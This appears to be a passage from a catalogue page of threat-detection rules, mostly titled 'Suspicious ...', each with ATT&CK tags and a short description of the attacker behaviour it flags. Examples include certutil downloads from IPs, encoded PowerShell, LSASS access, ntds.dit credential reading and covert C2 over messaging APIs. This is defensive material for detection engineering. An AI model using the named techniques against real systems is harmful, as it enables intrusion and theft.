Detects the creation of Usage Log files by the CLR (clr.dll). These files are named after the executing process once the assembly is finished executing for the first time in the (user) session context.

Read More
Suspicious Double Extension File Execution

Aug 12, 2024 · attack.initial-access attack.t1566.001 ·
Share on:

Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns

Read More
Suspicious Double Extension Files

Aug 12, 2024 · attack.defense-evasion attack.t1036.007 ·
Share on:

Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that Windows hide default extensions by default.

Read More
Suspicious Download From Direct IP Via Bitsadmin

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 attack.s0190 attack.t1036.003 ·
Share on:

Detects usage of bitsadmin downloading a file using an URL that contains an IP

Read More
Suspicious Download from Office Domain

Aug 12, 2024 · attack.command-and-control attack.t1105 attack.t1608 ·
Share on:

Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents

Read More
Suspicious Download Via Certutil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects the execution of certutil with certain flags that allow the utility to download files.

Read More
Suspicious Driver Install by pnputil.exe

Aug 12, 2024 · attack.persistence attack.t1547 ·
Share on:

Detects when a possible suspicious driver is being installed via pnputil.exe lolbin

Read More
Suspicious Driver/DLL Installation Via Odbcconf.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.008 ·
Share on:

Detects execution of "odbcconf" with the "INSTALLDRIVER" action where the driver doesn't contain a ".dll" extension. This is often used as a defense evasion method.

Read More
Suspicious Dropbox API Usage

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects an executable that isn't dropbox but communicates with the Dropbox API

Read More
Suspicious DumpMinitool Execution

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1003.001 ·
Share on:

Detects suspicious ways to use the "DumpMinitool.exe" binary

Read More
Suspicious Electron Application Child Processes

Aug 12, 2024 · attack.execution ·
Share on:

Detects suspicious child processes of electron apps (teams, discord, slack, etc.). This could be a potential sign of ".asar" file tampering (See reference section for more information) or binary execution proxy through specific CLI arguments (see related rule)

Read More
Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1059.001 attack.t1027 ·
Share on:

Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly"

Read More
Suspicious Encoded PowerShell Command Line

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)

Read More
Suspicious Encoded Scripts in a WMI Consumer

Aug 12, 2024 · attack.execution attack.t1047 attack.persistence attack.t1546.003 ·
Share on:

Detects suspicious encoded payloads in WMI Event Consumers

Read More
Suspicious Environment Variable Has Been Registered

Aug 12, 2024 · attack.defense-evasion attack.persistence ·
Share on:

Detects the creation of user-specific or system-wide environment variables via the registry. Which contains suspicious commands and strings

Read More
Suspicious Eventlog Clear

Aug 12, 2024 · attack.defense-evasion attack.t1070.001 ·
Share on:

Detects usage of known powershell cmdlets such as "Clear-EventLog" to clear the Windows event logs

Read More
Suspicious Eventlog Clearing or Configuration Change Activity

Aug 12, 2024 · attack.defense-evasion attack.t1070.001 attack.t1562.002 car.2016-04-002 ·
Share on:

Detects the clearing or configuration tampering of EventLog using utilities such as "wevtutil", "powershell" and "wmic". This technique were seen used by threat actors and ransomware strains in order to evade defenses.

Read More
Suspicious Executable File Creation

Aug 12, 2024 · attack.defense-evasion attack.t1564 ·
Share on:

Detect creation of suspicious executable file names. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.

Read More
Suspicious Execution From Outlook Temporary Folder

Aug 12, 2024 · attack.initial-access attack.t1566.001 ·
Share on:

Detects a suspicious program execution in Outlook temp folder

Read More
Suspicious Execution Location Of Wermgr.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects suspicious Windows Error Reporting manager (wermgr.exe) execution location.

Read More
Suspicious Execution of Hostname

Aug 12, 2024 · attack.discovery attack.t1082 ·
Share on:

Use of hostname to get information

Read More
Suspicious Execution of InstallUtil Without Log

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Uses the .NET InstallUtil.exe application in order to execute image without log

Read More
Suspicious Execution of Powershell with Base64

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Commandline to launch powershell with a base64 payload

Read More
Suspicious Execution Of Renamed Sysinternals Tools - Registry

Aug 12, 2024 · attack.resource-development attack.t1588.002 ·
Share on:

Detects the creation of the "accepteula" key related to the Sysinternals tools being created from executables with the wrong name (e.g. a renamed Sysinternals tool)

Read More
Suspicious Execution of Shutdown

Aug 12, 2024 · attack.impact attack.t1529 ·
Share on:

Use of the commandline to shutdown or reboot windows

Read More
Suspicious Execution of Shutdown to Log Out

Aug 12, 2024 · attack.impact attack.t1529 ·
Share on:

Detects the rare use of the command line tool shutdown to logoff a user

Read More
Suspicious Execution of Systeminfo

Aug 12, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects usage of the "systeminfo" command to retrieve information

Read More
Suspicious Execution via macOS Script Editor

Aug 12, 2024 · attack.t1566 attack.t1566.002 attack.initial-access attack.t1059 attack.t1059.002 attack.t1204 attack.t1204.001 attack.execution attack.persistence attack.t1553 attack.defense-evasion ·
Share on:

Detects when the macOS Script Editor utility spawns an unusual child process.

Read More
Suspicious External WebDAV Execution

Aug 12, 2024 · attack.initial-access attack.t1584 attack.t1566 ·
Share on:

Detects executables launched from external WebDAV shares using the WebDAV Explorer integration, commonly seen in initial access campaigns.

Read More
Suspicious Extrac32 Alternate Data Stream Execution

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Extract data from cab file and hide it in an alternate data stream

Read More
Suspicious Extrac32 Execution

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Download or Copy file with Extrac32

Read More
Suspicious File Characteristics Due to Missing Fields

Aug 12, 2024 · attack.execution attack.t1059.006 ·
Share on:

Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe

Read More
Suspicious File Created In PerfLogs

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects suspicious file based on their extension being created in "C:\PerfLogs". Note that this directory mostly contains ".etl" files

Read More
Suspicious File Created Via OneNote Application

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects suspicious files created via the OneNote application. This could indicate a potential malicious ".one"/".onepkg" file was executed as seen being used in malware activity in the wild

Read More
Suspicious File Creation In Uncommon AppData Folder

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs

Read More
Suspicious File Download From IP Via Curl.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects potentially suspicious file downloads directly from IP addresses using curl.exe

Read More
Suspicious File Download From IP Via Wget.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects potentially suspicious file downloads directly from IP addresses using Wget.exe

Read More
Suspicious File Download From IP Via Wget.EXE - Paths

Aug 12, 2024 · attack.execution ·
Share on:

Detects potentially suspicious file downloads directly from IP addresses and stored in suspicious locations using Wget.exe

Read More
Suspicious File Downloaded From Direct IP Via Certutil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects the execution of certutil with certain flags that allow the utility to download files from direct IPs.

Read More
Suspicious File Drop by Exchange

Aug 12, 2024 · attack.persistence attack.t1190 attack.initial-access attack.t1505.003 ·
Share on:

Detects suspicious file type dropped by an Exchange component in IIS

Read More
Suspicious File Encoded To Base64 Via Certutil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects the execution of certutil with the "encode" flag to encode a file to base64 where the extensions of the file is suspicious

Read More
Suspicious File Execution From Internet Hosted WebDav Share

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the execution of the "net use" command to mount a WebDAV server and then immediately execute some content in it. As seen being used in malicious LNK files

Read More
Suspicious Files in Default GPO Folder

Aug 12, 2024 · attack.t1036.005 attack.defense-evasion ·
Share on:

Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder

Read More
Suspicious FromBase64String Usage On Gzip Archive - Process Creation

Aug 12, 2024 · attack.command-and-control attack.t1132.001 ·
Share on:

Detects attempts of decoding a base64 Gzip archive via PowerShell. This technique is often used as a method to load malicious content into memory afterward.

Read More
Suspicious FromBase64String Usage On Gzip Archive - Ps Script

Aug 12, 2024 · attack.command-and-control attack.t1132.001 ·
Share on:

Detects attempts of decoding a base64 Gzip archive in a PowerShell script. This technique is often used as a method to load malicious content into memory afterward.

Read More
Suspicious Get Information for SMB Share

Aug 12, 2024 · attack.discovery attack.t1069.001 ·
Share on:

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

Read More
Suspicious Get Information for SMB Share - PowerShell Module

Aug 12, 2024 · attack.discovery attack.t1069.001 ·
Share on:

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

Read More
Suspicious Get Local Groups Information

Aug 12, 2024 · attack.discovery attack.t1069.001 ·
Share on:

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Read More
Suspicious Get Local Groups Information - PowerShell

Aug 12, 2024 · attack.discovery attack.t1069.001 ·
Share on:

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Read More
Suspicious Get-ADDBAccount Usage

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·
Share on:

Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers

Read More
Suspicious Get-ADReplAccount

Aug 12, 2024 · attack.credential-access attack.t1003.006 ·
Share on:

The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

Read More
Suspicious Get-Variable.exe Creation

Aug 12, 2024 · attack.persistence attack.t1546 attack.defense-evasion attack.t1027 ·
Share on:

Get-Variable is a valid PowerShell cmdlet WindowsApps is by default in the path where PowerShell is executed. So when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.

Read More
Suspicious GetTypeFromCLSID ShellExecute

Aug 12, 2024 · attack.privilege-escalation attack.persistence attack.t1546.015 ·
Share on:

Detects suspicious Powershell code that execute COM Objects

Read More
Suspicious Git Clone

Aug 12, 2024 · attack.reconnaissance attack.t1593.003 ·
Share on:

Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious

Read More
Suspicious Git Clone - Linux

Aug 12, 2024 · attack.reconnaissance attack.t1593.003 ·
Share on:

Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious

Read More
Suspicious GPO Discovery With Get-GPO

Aug 12, 2024 · attack.discovery attack.t1615 ·
Share on:

Detect use of Get-GPO to get one GPO or all the GPOs in a domain.

Read More
Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Aug 12, 2024 · attack.discovery attack.t1087.001 attack.t1087.002 ·
Share on:

Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM)

Read More
Suspicious GrpConv Execution

Aug 12, 2024 · attack.persistence attack.t1547 ·
Share on:

Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors

Read More
Suspicious GUP Usage

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks

Read More
Suspicious HH.EXE Execution

Aug 12, 2024 · attack.defense-evasion attack.execution attack.initial-access attack.t1047 attack.t1059.001 attack.t1059.003 attack.t1059.005 attack.t1059.007 attack.t1218 attack.t1218.001 attack.t1218.010 attack.t1218.011 attack.t1566 attack.t1566.001 ·
Share on:

Detects a suspicious execution of a Microsoft HTML Help (HH.exe)

Read More
Suspicious History File Operations

Aug 12, 2024 · attack.credential-access attack.t1552.003 ·
Share on:

Detects commandline operations on shell history files

Read More
Suspicious History File Operations - Linux

Aug 12, 2024 · attack.credential-access attack.t1552.003 ·
Share on:

Detects commandline operations on shell history files

Read More
Suspicious HWP Sub Processes

Aug 12, 2024 · attack.initial-access attack.t1566.001 attack.execution attack.t1203 attack.t1059.003 attack.g0032 ·
Share on:

Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation

Read More
Suspicious Hyper-V Cmdlets

Aug 12, 2024 · attack.defense-evasion attack.t1564.006 ·
Share on:

Adversaries may carry out malicious operations using a virtual instance to avoid detection

Read More
Suspicious IIS Module Registration

Aug 12, 2024 · attack.persistence attack.t1505.004 ·
Share on:

Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors

Read More
Suspicious IIS URL GlobalRules Rewrite Via AppCmd

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects usage of "appcmd" to create new global URL rewrite rules. This behaviour has been observed being used by threat actors to add new rules so they can access their webshells.

Read More
Suspicious Inbox Forwarding

Aug 12, 2024 · attack.exfiltration attack.t1020 ·
Share on:

Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.

Read More
Suspicious Inbox Forwarding Identity Protection

Aug 12, 2024 · attack.t1140 attack.defense-evasion ·
Share on:

Indicates suspicious rules such as an inbox rule that forwards a copy of all emails to an external address

Read More
Suspicious Inbox Manipulation Rules

Aug 12, 2024 · attack.t1140 attack.defense-evasion ·
Share on:

Detects suspicious rules that delete or move messages or folders are set on a user's inbox.

Read More
Suspicious Installer Package Child Process

Aug 12, 2024 · attack.t1059 attack.t1059.007 attack.t1071 attack.t1071.001 attack.execution attack.command-and-control ·
Share on:

Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters

Read More
Suspicious Interactive PowerShell as SYSTEM

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context

Read More
Suspicious Invoke-Item From Mount-DiskImage

Aug 12, 2024 · attack.defense-evasion attack.t1553.005 ·
Share on:

Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.

Read More
Suspicious Invoke-WebRequest Execution

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location

Read More
Suspicious Invoke-WebRequest Execution With DirectIP

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects calls to PowerShell with Invoke-WebRequest cmdlet using direct IP access

Read More
Suspicious IO.FileStream

Aug 12, 2024 · attack.defense-evasion attack.t1070.003 ·
Share on:

Open a handle on the drive volume via the \.\ DOS device path specifier and perform direct access read of the first few bytes of the volume.

Read More
Suspicious Java Children Processes

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects java process spawning suspicious children

Read More
Suspicious JavaScript Execution Via Mshta.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.005 ·
Share on:

Detects execution of javascript code using "mshta.exe".

Read More
Suspicious Kerberos RC4 Ticket Encryption

Aug 12, 2024 · attack.credential-access attack.t1558.003 ·
Share on:

Detects service ticket requests using RC4 encryption type

Read More
Suspicious Kernel Dump Using Dtrace

Aug 12, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1

Read More
Suspicious Key Manager Access

Aug 12, 2024 · attack.credential-access attack.t1555.004 ·
Share on:

Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)

Read More
Suspicious Keyboard Layout Load

Aug 12, 2024 · attack.resource-development attack.t1588.002 ·
Share on:

Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only

Read More
Suspicious LDAP-Attributes Used

Aug 12, 2024 · attack.t1001.003 attack.command-and-control ·
Share on:

Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.

Read More
Suspicious Log Entries

Aug 12, 2024 · attack.impact ·
Share on:

Detects suspicious log entries in Linux log files

Read More
Suspicious LSASS Access Via MalSecLogon

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects suspicious access to LSASS handle via a call trace to "seclogon.dll" with a suspicious access right.

Read More
Suspicious MacOS Firmware Activity

Aug 12, 2024 · attack.impact ·
Share on:

Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.

Read More
Suspicious Manipulation Of Default Accounts Via Net.EXE

Aug 12, 2024 · attack.collection attack.t1560.001 ·
Share on:

Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc

Read More
Suspicious Microsoft Office Child Process

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1047 attack.t1204.002 attack.t1218.010 ·
Share on:

Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.)

Read More
Suspicious Microsoft Office Child Process - MacOS

Aug 12, 2024 · attack.execution attack.persistence attack.t1059.002 attack.t1137.002 attack.t1204.002 ·
Share on:

Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution

Read More
Suspicious Microsoft OneNote Child Process

Aug 12, 2024 · attack.t1566 attack.t1566.001 attack.initial-access ·
Share on:

Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.

Read More
Suspicious Modification Of Scheduled Tasks

Aug 12, 2024 · attack.execution attack.t1053.005 ·
Share on:

Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location Attackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on Instead they modify the task after creation to include their malicious payload

Read More
Suspicious Mount-DiskImage

Aug 12, 2024 · attack.defense-evasion attack.t1553.005 ·
Share on:

Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.

Read More
Suspicious Msbuild Execution By Uncommon Parent Process

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects suspicious execution of 'Msbuild.exe' by a uncommon parent process

Read More
Suspicious MSDT Parent Process

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1218 ·
Share on:

Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation

Read More
Suspicious MSExchangeMailboxReplication ASPX Write

Aug 12, 2024 · attack.initial-access attack.t1190 attack.persistence attack.t1505.003 ·
Share on:

Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation

Read More
Suspicious MSHTA Child Process

Aug 12, 2024 · attack.defense-evasion attack.t1218.005 car.2013-02-003 car.2013-03-001 car.2014-04-003 ·
Share on:

Detects a suspicious process spawning from an "mshta.exe" process, which could be indicative of a malicious HTA script execution

Read More
Suspicious Mshta.EXE Execution Patterns

Aug 12, 2024 · attack.execution attack.t1106 ·
Share on:

Detects suspicious mshta process execution patterns

Read More
Suspicious MsiExec Embedding Parent

Aug 12, 2024 · attack.t1218.007 attack.defense-evasion ·
Share on:

Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads

Read More
Suspicious Msiexec Execute Arbitrary DLL

Aug 12, 2024 · attack.defense-evasion attack.t1218.007 ·
Share on:

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)

Read More
Suspicious Msiexec Quiet Install From Remote Location

Aug 12, 2024 · attack.defense-evasion attack.t1218.007 ·
Share on:

Detects usage of Msiexec.exe to install packages hosted remotely quietly

Read More
Suspicious Mstsc.EXE Execution With Local RDP File

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects potential RDP connection via Mstsc using a local ".rdp" file located in suspicious locations.

Read More
Suspicious Named Error

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts

Read More
Suspicious Network Command

Aug 12, 2024 · attack.discovery attack.t1016 ·
Share on:

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems

Read More
Suspicious Network Communication With IPFS

Aug 12, 2024 · attack.credential-access attack.t1056 ·
Share on:

Detects connections to interplanetary file system (IPFS) containing a user's email address which mirrors behaviours observed in recent phishing campaigns leveraging IPFS to host credential harvesting webpages.

Read More
Suspicious Network Connection Binary No CommandLine

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects suspicious network connections made by a well-known Windows binary run with no command line parameters

Read More
Suspicious Network Connection to IP Lookup Service APIs

Aug 12, 2024 · attack.discovery attack.t1016 ·
Share on:

Detects external IP address lookups by non-browser processes via services such as "api.ipify.org". This could be indicative of potential post compromise internet test activity.

Read More
Suspicious New Service Creation

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1543.003 ·
Share on:

Detects creation of a new service via "sc" command or the powershell "new-service" cmdlet with suspicious binary paths

Read More
Suspicious New-PSDrive to Admin Share

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

Read More
Suspicious Nohup Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of binaries located in potentially suspicious locations via "nohup"

Read More
Suspicious Non-Browser Network Communication With Google API

Aug 12, 2024 · attack.command-and-control attack.t1102 ·
Share on:

Detects a non-browser process interacting with the Google API which could indicate the use of a covert C2 such as Google Sheet C2 (GC2-sheet)

Read More
Suspicious Non-Browser Network Communication With Telegram API

Aug 12, 2024 · attack.command-and-control attack.t1102 ·
Share on:

Detects an a non-browser process interacting with the Telegram API which could indicate use of a covert C2

Read More
Suspicious NTLM Authentication on the Printer Spooler Service

Aug 12, 2024 · attack.privilege-escalation attack.credential-access attack.t1212 ·
Share on:

Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service

Read More
Suspicious OAuth App File Download Activities

Aug 12, 2024 · attack.exfiltration ·
Share on:

Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.

Read More
Suspicious Obfuscated PowerShell Code

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines

Read More
Suspicious OpenSSH Daemon Error

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts

Read More
Suspicious Outbound SMTP Connections

Aug 12, 2024 · attack.exfiltration attack.t1048.003 ·
Share on:

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Read More
Suspicious Outlook Child Process

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects a suspicious process spawning from an Outlook process.

Read More
Suspicious Outlook Macro Created

Aug 12, 2024 · attack.persistence attack.command-and-control attack.t1137 attack.t1008 attack.t1546 ·
Share on:

Detects the creation of a macro file for Outlook.

Read More
Suspicious Package Installed - Linux

Aug 12, 2024 · attack.defense-evasion attack.t1553.004 ·
Share on:

Detects installation of suspicious packages using system installation utilities

Read More
Suspicious Parent Double Extension File Execution

Aug 12, 2024 · attack.defense-evasion attack.t1036.007 ·
Share on:

Detect execution of suspicious double extension files in ParentCommandLine

Read More
Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script

Aug 12, 2024 · attack.execution attack.persistence attack.t1059 ·
Share on:

Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script that's located in a potentially suspicious location to run for a specific VM state

Read More
Suspicious PFX File Creation

Aug 12, 2024 · attack.credential-access attack.t1552.004 ·
Share on:

A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.

Read More
Suspicious Ping/Del Command Combination

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·
Share on:

Detects a method often used by ransomware. Which combines the "ping" to wait a couple of seconds and then "del" to delete the file in question. Its used to hide the file responsible for the initial infection for example

Read More
Suspicious Plink Port Forwarding

Aug 12, 2024 · attack.command-and-control attack.t1572 attack.lateral-movement attack.t1021.001 ·
Share on:

Detects suspicious Plink tunnel port forwarding to a local port

Read More
Suspicious Powercfg Execution To Change Lock Screen Timeout

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects suspicious execution of 'Powercfg.exe' to change lock screen timeout

Read More
Suspicious PowerShell Download

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell download command

Read More
Suspicious PowerShell Download - PoshModule

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell download command

Read More
Suspicious PowerShell Download - Powershell Script

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell download command

Read More
Suspicious PowerShell Download and Execute Pattern

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)

Read More
Suspicious PowerShell Encoded Command Patterns

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains

Read More
Suspicious PowerShell Get Current User

Aug 12, 2024 · attack.discovery attack.t1033 ·
Share on:

Detects the use of PowerShell to identify the current logged user.

Read More
Suspicious PowerShell IEX Execution Patterns

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious ways to run Invoke-Execution using IEX alias

Read More
Suspicious Powershell In Registry Run Keys

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects potential PowerShell commands or code within registry run keys

Read More
Suspicious PowerShell Invocation From Script Engines

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious powershell invocations from interpreters or unusual programs

Read More
Suspicious PowerShell Invocations - Generic

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell invocation command parameters

Read More
Suspicious PowerShell Invocations - Generic - PowerShell Module

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell invocation command parameters

Read More
Suspicious PowerShell Invocations - Specific

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell invocation command parameters

Read More
Suspicious PowerShell Invocations - Specific - PowerShell Module

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell invocation command parameters

Read More
Suspicious PowerShell Invocations - Specific - ProcessCreation

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects suspicious PowerShell invocation command parameters

Read More
Suspicious PowerShell Mailbox Export to Share

Aug 12, 2024 · attack.exfiltration ·
Share on:

Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations

Read More
Suspicious PowerShell Mailbox Export to Share - PS

Aug 12, 2024 · attack.exfiltration ·
Share on:

Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations

Read More
Suspicious PowerShell Mailbox SMTP Forward Rule

Aug 12, 2024 · attack.exfiltration ·
Share on:

Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.

Read More
Suspicious PowerShell Parameter Substring

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell invocation with a parameter substring

Read More
Suspicious PowerShell Parent Process

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects a suspicious or uncommon parent processes of PowerShell

Read More
Suspicious PowerShell WindowStyle Option

Aug 12, 2024 · attack.defense-evasion attack.t1564.003 ·
Share on:

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden

Read More
Suspicious Printer Driver Empty Manufacturer

Aug 12, 2024 · attack.privilege-escalation attack.t1574 cve.2021-1675 ·
Share on:

Detects a suspicious printer driver installation with an empty Manufacturer value

Read More
Suspicious PrinterPorts Creation (CVE-2020-1048)

Aug 12, 2024 · attack.persistence attack.execution attack.t1059.001 cve.2020-1048 detection.emerging-threats ·
Share on:

Detects new commands that add new printer port which point to suspicious file

Read More
Suspicious Process Created Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects WMIC executing "process call create" with suspicious calls to processes such as "rundll32", "regsrv32", etc.

Read More
Suspicious Process Discovery With Get-Process

Aug 12, 2024 · attack.discovery attack.t1057 ·
Share on:

Get the processes that are running on the local computer.

Read More
Suspicious Process Masquerading As SvcHost.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1036.005 ·
Share on:

